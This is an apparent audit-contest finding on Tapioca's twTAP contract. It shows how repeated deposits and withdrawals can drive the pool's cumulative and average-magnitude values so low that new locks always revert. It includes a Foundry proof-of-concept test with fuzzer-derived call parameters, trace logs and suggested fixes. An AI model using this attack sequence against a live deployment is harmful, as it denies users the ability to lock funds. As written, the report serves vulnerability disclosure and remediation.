twTAP Cumulative can be reduced to a very small amount by abusing cumulative logic, preventing new locks

Github username: @GalloDaSballo Twitter username: GalloDaSballlo Submission hash (on-chain): 0x408ef4be9da5c0d0c07eb233833befcfcd651e8883c0978ee27a43016272a49c Severity: medium

Description:

This report combines two ideas I had already sent:

pool.cumulative determine length and can be reduced to a very small amount, demonstrated in this report and in: https://github.com/code-423n4/2024-02-tapioca-findings/issues/55
pool.averageMagnitude can be manipulated to be a very small number, demonstrated here: https://github.com/code-423n4/2024-02-tapioca-findings/issues/56

By combining the two, we can construct the following attack:

Combine multiple deposit and withdrawals to move the cumulative to an extremely small value (demonstrated to be below 1000), which will cause locks to have a very short duration
Manipulate the pool averageMagnitude to cause new locks to have such a small magnitude that all locks have to have extremely short duration

We can abuse this to make every lock still not pass the check required to create new locks as we can find a lock for which one of the two condition is broken:

The duration is >= one week (min duration)
The Magnitude is < 4 times the cumulative

Since we can achieve a very small cumulative, but the contract enforces a duration of at least one week, no new lock can be created

MATH

The POC demonstrates that we can get cumulative to be: 603800

POC

Full Repo (invite only, please DM me): https://github.com/GalloDaSballo/math-tester-fixed/tree/feat-hats

The coded poc shows how we can achieve a small cumulative and a small averageMagnitude

By being able to achieve both, we put twTAP in a position that cannot be recovered except by the attacker

The POC is written by changing the original POC I had written, to use the new code for twTAP, and was run with Echidna on Recon

Complete Logs are available here: https://getrecon.xyz/dashboard/jobs/6963fc25-f011-4ebd-b843-eb321e0224da

Parsing the logs we get the following POC, in foundry:

function testReconDemo() public {
        TwTAP_participate(address(0x10000),450503971994558767100195614951198362263877105661256476591116737,604799);
        // *wait* Time delay: 187874 seconds Block delay: 33200
        // *wait* Time delay: 422766 seconds Block delay: 6750
        // *wait* Time delay: 600847 seconds Block delay: 34533
        vm.warp(block.timestamp + 187874 + 422766 + 600847);
        vm.roll(block.number + 33200 + 6750 + 34533);
        TwTAP_participate(address(0xdeadbeef),40596282430822104546738509598000982277300225594552817028965,602299);
        TwTAP_exitPosition(98363854561671148274866387213463055899100023337651951700596491984072143, address(0x10000));

        // Will revert per the check that require duration being a lot less 
        uint256 duration = twTap.EPOCH_DURATION();
        vm.expectRevert();
        twTap.participate(address(this), 123, duration);

        console2.log("cumulative", twTap.getCumulative());
        console2.log("average", twTap.getAverage());
    }

Logs

Which show that the cumulative is so low that no new locks can be created

    │   │   ├─ emit Transfer(from: CryticToFoundry: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: TwTAP: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 123)
    │   │   └─ ← [Return] true
    │   └─ ← [Revert] NotValid()
    ├─ [383] TwTAP::getCumulative() [staticcall]
    │   └─ ← [Return] 834
    ├─ [0] console::log("cumulative", 834) [staticcall]
    │   └─ ← [Stop] 
    ├─ [360] TwTAP::getAverage() [staticcall]
    │   └─ ← [Return] 603966 [6.039e5]
    ├─ [0] console::log("average", 603966 [6.039e5]) [staticcall]
    │   └─ ← [Stop] 
    └─ ← [Stop]

Mitigation

I believe that my finding around manipulating the averageMagnitude should be reviewed and the logic for average should be changed: https://github.com/code-423n4/2024-02-tapioca-findings/issues/56

To mitigate this attack directly, the cumulative should be floored at ONE_WEEK, meaning that any time it goes below, the value should be brought back up

Alternatively the check for magnitude * 4 should be refactor to allow ONE_WEEK locks to be recreated

hats-finance / Tapioca-0xe0b920d38a0900af3bab7ff0ca0af554129f54ad